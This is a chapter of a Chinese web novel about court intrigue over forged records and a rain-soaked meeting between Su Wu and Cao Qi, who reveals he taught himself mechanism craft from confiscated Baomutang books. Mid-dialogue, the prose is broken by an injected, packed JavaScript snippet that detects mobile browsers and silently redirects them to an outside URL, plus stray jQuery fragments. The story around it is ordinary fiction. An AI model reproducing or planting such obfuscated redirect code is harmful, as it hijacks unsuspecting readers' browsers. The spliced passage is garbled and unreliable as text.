曹随接过奏折纸,仔细翻看了一番,纸张使用符合规格,实在不像是伪造的。
“我虽不赞同抱木堂出战,但也与宗门无冤无仇,怎会提出这样的诛灭的提议?”北宫复不可置信的看着奏折纸,“只是连你都不知我曾是抱木堂之人,谁会去伪造我请诛抱木堂的奏折呢?”
曹随皱眉,“实在是棘手,能接触到奏折的人实在太多了,排查起来实在麻烦。除了素乌知道你的身份,难道还有你的故人隐于暗处吗?”
曹随沉思道,北宫复出身上党的普通世家,在朝中一向隐忍求生,并未树立什么敌人,只有太子师父的这个靶子,难道有人嫁祸他是为了对付自己吗?
北宫复放下奏折纸,继续翻看卷宗和平准司的记档,“殿下,素乌是否提及,晶磁可以干扰兵人?”
“没错。师父怎么提起这个?”
“殿下,老臣也早有此顾虑,抱木堂的机关人是由磁石驱动,尤其是兵人这种大型机关,磁石遍布全身,彼此互相吸斥,但略有磁场的波动就会受到干扰,甚至失控,当年兵人正是因为失控才战场倒戈。”
北宫复翻开了平准司的记档,伸手指了指自己购买晶磁的记录,“我曾买了一些磁石进入校场以做实验,发现晶磁可以干扰兵人,所以我便上书陛下停用此法,但陛下不为所动……方才我看到这上面的记录,也被人篡改过了。”
曹随拿过记档,看到了北宫复购买晶磁的那一条记录,“六百?”
“晶磁造价极高,老臣当年只买了六枚晶磁,不知怎的,这上面却记成了六百。”
“旁的不记错,为何单单这一条记错?”曹随大惊,喃喃自语,“如果不是懂机关术的行家,又如何知道该改什么,这么精准,直接冲着师父来,或许,也是冲着素乌来的!”
曹随放下手里的东西,“师父,抱木堂还有活着的人吗?你从前在抱木堂有没有的罪过什么人?”
北宫复思索许久,摇了摇头,“我不曾有什么仇人,抱木堂的弟子都在那场风波里被斩首了,除了你收留的那个小丫头,应该没有活着的了。”
曹随点点头,“好吧,这件事我会慢慢查的。今日多谢师父教诲,劳烦师父跑一趟了。”
回想完这些,曹随长叹一声,背后搞鬼的这个人,手眼通天。能随意篡改各个地方的记档,又对机关术颇为了解。倘若素乌和北宫复说的都是实话,那么究竟又是谁,在背后搞鬼呢……
想到这里,曹随觉得四周一阵阴风吹过,仿佛暗处站满了敌人。
他好想马上就去告诉素乌自己有所发现,又害怕素乌不肯信任自己,只觉得自己在帮师父脱罪,若再大吵一架反而打草惊蛇。
曹随长叹一声,缓缓闭上眼睛。
几日后的黄昏乌云密布,阴风四起,素乌早早从木工房返回客栈。
自从有了曹淇送来的工具,雪芽的修复进度大大的加快了,骨架修好了,素乌也用攒下的工钱买了一些略有瑕疵的磁石,填充在四肢和躯干。
雪芽又可以重新战斗了,只是由于磁石劣质,雪芽的行动比原来缓慢了些,素乌每晚都把雪芽抱在怀里,用锉刀打磨它的身体弧线,从别的方面弥补,提高灵活性。
正在素乌打磨雪芽时,窗外忽然猛地亮起巨大的闪电,随后传来巨大的一声裂响,响彻天空,狂风吹开了窗户,凉气随风席卷入房内。
素乌放下手里的东西,伸手关窗,却看到天空黑压压一片,金红的日落光华在阴云的缝隙往外四射,整个天气十分诡异。
她站在窗前吹风,虽然风并不柔和,但吹起她的头发,却让她感觉从未有过的舒畅。
转瞬间,狂风卷着雨滴落下,雨珠砸在瓦片和石阶尚噼啪作响,天地间笼罩起一片白茫茫的雨雾。
算算时间,每日这个时候,曹淇总会来这里骚扰自己。
自收下曹淇送来的工具后,他每日都要来这里,找各种各样的理由来探望素乌,尽管素乌反复表示不会效忠,他也风雨无阻。
今日的天气如此恶劣,他应该不会来了吧?素乌心想。
素乌鬼使神差的走到门边,拿起旁边立着的伞,撑开站到了客栈的门口,门外的空气比窗前的更加湿柔,她就安安静静的站在门口,什么也不做。
过了一会,远处一个撑着伞的男子慢慢走近。素乌转头看着他一步一步向自己走来,那张脸十分熟悉,正是曹淇。
他一身月白色的长袍,袖子和下裳被风吹得凌乱,袖口和下摆都被雨沾湿。
看清是素乌站在这里,曹淇问道:“素乌姑娘,雨这么大,你怎么站在客栈门口?”
“有些头晕,我出来透透气。”素乌喃喃道,“你怎么来这里?”
“我刚从城外回来,顺路来看看你。”曹淇笑着回答,“既然你有些闷,一个人多无趣,那我来陪你站一会吧。”
“不用啦,你……”
素乌欲言又止,目光落在曹淇的脸上,四周雾蒙蒙的,看他的脸也蒙上一层水汽,他的眉眼舒展,面色白皙,笑起来有几分曹随的影子。
看着他的脸,素乌片刻恍惚,眼眶湿润。
“怎么了?”曹淇见素乌有些出神,出言询问。
素乌回过神来,“没什么。现在已经入秋了,雨水也好凉,你头发和衣服都湿了……进屋喝杯茶吧,不然很容易得风寒。”
素乌说完,没等曹淇回答,便转身收伞走回了客栈,径直回了自己的客房,并将房门敞开。
曹淇微微一笑,跟在她身后收伞进了客栈,站在素乌的门口。
“进来就好啦。”见曹淇站在门口,素乌又说道。
曹淇有些为难的样子,“我身上有雨水,怕弄脏你的地。”
“没关系,我不介意,来这边坐吧。”
素乌说完,取下门外炉子上的热水,沏了一壶茶,把茶杯放在桌边的位置,伸手指了指对面的席子。曹淇缓缓走了过来,整理了一下衣裳,正坐于席上。
素乌拿起床榻前架子上的细葛手巾,递给曹淇,“擦一下头发吧。”
曹淇接过,“多谢姑娘。”
他将手巾覆在头发上,顺着发丝的方向轻柔慢抹,水珠顺着手指滑下,滴落在衣襟。他垂着双目,耐心擦拭头发。
素乌在一旁静静地看着他,曹淇的眼睛非常漂亮,睫毛长而轻柔,眉眼处和曹随太过相似,虽然浑身沾湿,但还气色红润,举止典雅。
任凭素乌如何去看,也不觉得曹淇像个坏人。但就是个人在背后对曹随放火刺杀,几次想置曹随于死地。如果他伪装好人能做到这个地步,也太恐怖了。
曹淇擦完头发后,把手巾叠好放在桌子一侧,他转头看了看窗外,天已经漆黑了,他起身行了个礼,“天色不早,曹某先告辞了。”
素乌连忙道:“等一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738745|205943||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,你先坐。”
她在心中先把自己要说的话打了个草稿,缓缓问道:“曹淇,你的府上有一个机关师是吗?”
曹淇有些惊诧,他坐下来,眼神中露出一丝警惕,但还是微微点了点头。
“他叫什么名字?我……我想见见他。”素乌犹豫再三,还是问了出来。
曹淇府上的机关师,很可能是抱木堂另外活着的弟子,现在她已不是曹随的属下,若能有机会,她很想见见这个同门,或许能对抱木堂的案子有新的进展。
曹淇闻言一惊,神色有些紧张。
素乌顿了片刻,又试探道:“可以吗?”
“嗯。”曹淇微微点头。
他把袖子捋平,又坐直了身子,正色道:“府上的机关师,正是我。”
素乌大惊失色,她不可置信的张大了嘴,“什么?你府上的机关师……是你自己?”
“正是,不过,陛下他对机关师十分介意,还请素乌姑娘替我保密。”
素乌一时有些发懵,难道自己一直假想的那个同门根本不存在吗?
“不对,可是你的机关风格是我们抱木堂的技术,你是从哪里学来的机关术?”
曹淇闻言也是一惊,“你见过我制作的机关?”
此话一出,曹淇立刻回想到,曹随曾用自己的地道作为反制的手段,于是立刻了然,“你进过我府上的地道?”
“是,真是抱歉。”素乌有些心虚的低下头。
曹淇却十分坦然,“没关系的,这很像随儿的行事风格,想必你也是奉命行事,何来抱歉?”
“谢谢你。”素乌与他四目相对,但率先移开了目光。
曹淇见素乌有些不自在,连忙接话:“啊,刚才说到我的机关传承,其实我并没有师父,是自学了一点皮毛而已。”
素乌疑惑道:“如何自学?”
曹淇缓缓说:“四年以前,父皇一怒之下抄办了抱木堂,当时一些典籍被抄如内库,我对机关术很感兴趣,于是便托人赎买了一些,藏在府中,我便是研读这些典籍自学的。”
听到典籍,素乌立刻激动起来,她拉住曹淇的袖子,“你手里有抱木堂的典籍!”
“嗯,不过并不齐全,我只买到了八十多册,后来又在民间寻得了一部分,总数也不过一百二三十册,据说当年抄没又三百多册,真是可惜啊。”曹淇长叹一声。
“一百多册!你居然有一百多册!”素乌激动过后,便是欣喜,一瞬间泪水在眼眶内积聚,“抱木堂的典籍还剩这么多,真是太好了,太好了!”
曹淇看素乌又哭又笑的,局促的往后坐了坐,挣脱开素乌拉袖子的手,素乌意识到自己有些过分,于是连忙抹了抹脸,“抱歉,我有些失态。”
“无妨。”曹淇微微一笑,“我对机关术一向十分仰慕,所以三番五次来打扰姑娘,并非为了收买姑娘,而是想向你讨教机关术。”
“原来如此。”素乌恍然大悟。
曹淇从前每次来,素乌都立刻回绝并把他赶出去,从未认真听曹淇说过他的诉求,原来他竟然不是要拉拢自己去对付曹随吗?
“我每天黄昏之后都会回客栈,你若是有什么机关术上的疑问,我都乐意解答。”素乌笑着说,“不过,我也有一个请求。”
曹淇伸手点头,“请讲。”
“你收藏的抱木堂典籍……是否能让我一观呢?”